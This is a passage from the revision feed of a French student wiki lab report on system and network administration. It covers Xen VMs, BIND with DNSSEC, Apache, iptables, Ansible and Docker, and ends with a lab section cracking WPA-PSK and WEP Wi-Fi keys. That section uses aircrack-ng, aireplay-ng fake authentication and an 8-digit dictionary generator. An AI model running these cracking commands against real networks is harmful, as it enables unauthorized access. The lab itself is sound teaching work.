  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
    &lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention  à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accés au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans votre domain  dans l'onglet glue records ajouté   : &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
c'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver  sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2 : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension  de  sécurité sur notre DNS  on l'active  dans  named.conf.options  : &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
on  signe les enregistrements de la zone en executant la  commandde suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK &lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire:&lt;br /&gt;
- on crée notre index.html (basique)&lt;br /&gt;
- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On le lance:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51780</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51780"/>
				<updated>2019-12-10T09:25:31Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Installation de docker */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
    &lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention  à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accés au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans votre domain  dans l'onglet glue records ajouté   : &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
c'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver  sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2 : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
